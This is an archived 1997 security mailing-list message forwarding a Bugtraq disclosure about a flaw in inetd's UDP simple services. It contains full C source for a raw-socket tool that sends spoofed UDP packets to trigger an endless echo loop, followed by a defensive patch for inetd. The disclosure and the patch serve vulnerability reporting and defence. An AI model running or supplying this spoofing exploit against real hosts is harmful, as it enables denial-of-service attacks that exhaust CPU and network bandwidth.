Skip site navigation (1)Skip section navigation (2)
Date:      Sun, 22 Jun 1997 14:22:49 +1000 (EST)
From:      "Daniel O'Callaghan" <danny@panda.hilink.com.au>
To:        freebsd-security@freebsd.org
Subject:   Simple TCP service can hang a system (fwd)
Message-ID:  <Pine.BSF.3.91.970622142206.869L-100000@panda.hilink.com.au>

next in thread | raw e-mail | index | archive | help
---------- Forwarded message ----------
Date: Sat, 21 Jun 1997 23:58:16 +0200
From: Willy TARREAU <tarreau@AEMIAIF.IBP.FR>
To: BUGTRAQ@NETSPACE.ORG
Subject: Simple TCP service can hang a system

Hi !

I've noticed that inetd doesn't check the source port for the request
to UDP simple services (echo, time, chargen, daytime).

This means it is possible to build a packet which will look like it comes
from one of these ports, to one of these ports. In this case, each UDP
response from the simple service will generate a new request to the source
port and the system or network can be quickly overloaded.

to test this, I've written a program, let's say an exploit... It completely
builds an UDP packet from RAW IP.

You just have to specify which IP and PORT you want for source and
destination, and then look at the result.

On my Linux 2.0.29, inetd goes to 99% CPU when source/dest are the same
machine with any of these 4 ports.

I tested Netware Client 32 for DOS/Windows, and it simply hangs. Not tested
yet on Win95/NT/Netware...

Concerning Linux, I've patched inetd to prevent it from replying to
requests coming from a port below one specified in the source (I chose 128).

Here comes the exploit, and next, the patch for inetd (inetd from
NetKit-0.09).


Willy Tarreau
--
+---------------+------------------------+--------------------------------+
| Willy Tarreau | tarreau@aemiaif.ibp.fr | http://www-miaif.ibp.fr/willy/ |
| Magistere d'Informatique Appliquee de l'Ile de France (MIAIF), promo 97 |
| DEA  A.S.I.M.E. |  Universite Pierre et Marie Curie (Paris 6), FRANCE   |
+-----------------+-------------------------------------------------------+

-------------------- UDP simple services exploit --------------------------
/*

  PingPong.    970621 by Willy TARREAU  <tarreau@aemiaif.ibp.fr>

  This program sends a spoofed UDP packet to the host you want to test.
  You just have to choose source address/port and destination address/port.
  There are two main uses of this program:
  - generate a packet which will make inetd reply to itself continuously on a given
    host. This will slow down a system because inetd will use most of the CPU to
    reply to its own requests.
  - generate a packet which will initiate a "ping pong" between two machines. In this
    case, this will consume network bandwidth for nothing.

  On Linux, inetd is fooled on these internal ports:

  7: echo
  13: daytime
  19: chargen
  37: time

  Netware Client 32 hangs the workstations with 7 or 19. Others not tested yet.
  Not tested yet on Netware nor WinNt nor Win95.


  As this program uses RAW sockets, you need to run it as root.

*/

#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netdb.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <ctype.h>
#include <errno.h>

struct sockaddr addrfrom;
struct sockaddr addrto;
int s;
u_char outpack[65536];
struct iphdr *ip;
struct udphdr *udp;



main(int argc, char **argv) {
    struct sockaddr_in *from;
    struct sockaddr_in *to;
    struct protoent *proto;
    int i;
    char *src,*dest;
    int srcp, destp;
    int packetsize,datasize;


    fprintf(stderr,"PingPong 1.0 - 970621 by Willy Tarreau <tarreau@aemiaif.ibp.fr>\n");
    fprintf(stderr,"<<< PLEASE USE THIS FOR TESTS ONLY AND WITH ADMINISTRATORS' AUTHORIZATION >>>\n\n");
    if (argc!=5) {
        fprintf(stderr,"wrong arg count.\nUsage: pingpong src_addr src_port dst_addr dst_port\n");
        fprintf(stderr,"src_addr and dst_addr must be given as IP addresses (xxx.xxx.xxx.xxx)\n");
        fprintf(stderr,"Note that it often works with 127.0.0.1 as src_addr !\n");
        exit(2);
    }
    src=argv[1];
    srcp=atoi(argv[2]);
    dest=argv[3];
    destp=atoi(argv[4]);

    if (!(proto = getprotobyname("raw"))) {
        perror("getprotobyname(raw)");
        exit(2);
    }
    /* "raw" should be 255 */
    if ((s = socket(AF_INET, SOCK_RAW, proto->p_proto)) < 0) {
        perror("socket");
        exit(2);
    }

    memset(&addrfrom, 0, sizeof(struct sockaddr));
    from = (struct sockaddr_in *)&addrfrom;
    from->sin_family = AF_INET;
    from->sin_port=htons(srcp);
    if (!inet_aton(src, &from->sin_addr)) {
        fprintf(stderr,"Incorrect address for 'from': %s\n",src);
        exit(2);
    }

    memset(&addrto, 0, sizeof(struct sockaddr));
    to = (struct sockaddr_in *)&addrto;
    to->sin_family = AF_INET;
    to->sin_port=htons(destp);
    if (!inet_aton(dest, &to->sin_addr)) {
        fprintf(stderr,"Incorrect address for 'to': %s\n",dest);
        exit(2);
    }

    packetsize=0;

    /* lets's build a complete UDP packet from scratch */

    ip=(struct iphdr *)outpack;
    ip->version=4;      /* IPv4 */
    ip->ihl=5;          /* 5 words IP header */
    ip->tos=0;
    ip->id=0;
    ip->frag_off=0;
    ip->ttl=0x40;
    if (!(proto = getprotobyname("udp"))) {
        perror("getprotobyname(udp)");
        exit(2);
    }
    /* "udp" should be 17 */
    ip->protocol=proto->p_proto;   /* udp */
    ip->check=0;    /* null checksum, will be automatically computed by the kernel */
    ip->saddr=from->sin_addr.s_addr;
    ip->daddr=to->sin_addr.s_addr;
    /* end of ip header */
    packetsize+=ip->ihl<<2;
    /* udp header */
    udp=(struct udphdr *)((int)outpack + (int)(ip->ihl<<2));
    udp->source=htons(srcp);
    udp->dest=htons(destp);
    udp->check=0;   /* ignore checksum */
    packetsize+=sizeof(struct udphdr);
    /* end of udp header */
    /* add udp data here if you like */
    for (datasize=0;datasize<8;datasize++) {
        outpack[packetsize+datasize]='A'+datasize;
    }
    packetsize+=datasize;
    udp->len=htons(sizeof(struct udphdr)+datasize);
    ip->tot_len=htons(packetsize);
    if (sendto(s, (char *)outpack, packetsize, 0, &addrto, sizeof(struct sockaddr))==-1) {
        perror("sendto");
        exit(2);
    }
    printf("packet sent !\n");
    close(s);
    printf("end\n");
    exit(0);
}


-------------------- patch for inetd --------------------

--- inetd.c     Sat Nov 23 19:44:12 1996
+++ inetd-fix.c Sat Jun 21 23:38:09 1997
@@ -170,6 +170,7 @@
 #define        TOOMANY         40              /* don't start more than TOOMANY */
 #define        CNT_INTVL       60              /* servers in CNT_INTVL sec. */
 #define        RETRYTIME       (60*10)         /* retry after bind or server fail */
+#define MINSRCPORT      128             /* below this port, UDP requests are ignored */

 #define        SIGBLOCK        (sigmask(SIGCHLD)|sigmask(SIGHUP)|sigmask(SIGALRM))

@@ -1271,6 +1272,8 @@
        size = sizeof(sa);
        if ((i = recvfrom(s, buffer, sizeof(buffer), 0, &sa, &size)) < 0)
                return;
+       if (ntohs(((struct sockaddr_in *)(&sa))->sin_port)<MINSRCPORT)
+           return;
        (void) sendto(s, buffer, i, 0, &sa, sizeof(sa));
 }

@@ -1369,6 +1372,9 @@
        if (recvfrom(s, text, sizeof(text), 0, &sa, &size) < 0)
                return;

+       if (ntohs(((struct sockaddr_in *)(&sa))->sin_port)<MINSRCPORT)
+           return;
+
        if ((len = endring - rs) >= LINESIZ)
                bcopy(rs, text, LINESIZ);
        else {
@@ -1423,6 +1429,10 @@
        size = sizeof(sa);
        if (recvfrom(s, (char *)&result, sizeof(result), 0, &sa, &size) < 0)
                return;
+
+       if (ntohs(((struct sockaddr_in *)(&sa))->sin_port)<MINSRCPORT)
+           return;
+
        result = machtime();
        (void) sendto(s, (char *) &result, sizeof(result), 0, &sa, sizeof(sa));
 }
@@ -1456,6 +1466,8 @@
        size = sizeof(sa);
        if (recvfrom(s, buffer, sizeof(buffer), 0, &sa, &size) < 0)
                return;
+       if (ntohs(((struct sockaddr_in *)(&sa))->sin_port)<MINSRCPORT)
+           return;
        sprintf(buffer, "%.24s\r\n", ctime(&clocc));
        sendto(s, buffer, strlen(buffer), 0, &sa, sizeof(sa));
 }

----------------------- end of patch -------------




Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?Pine.BSF.3.91.970622142206.869L-100000>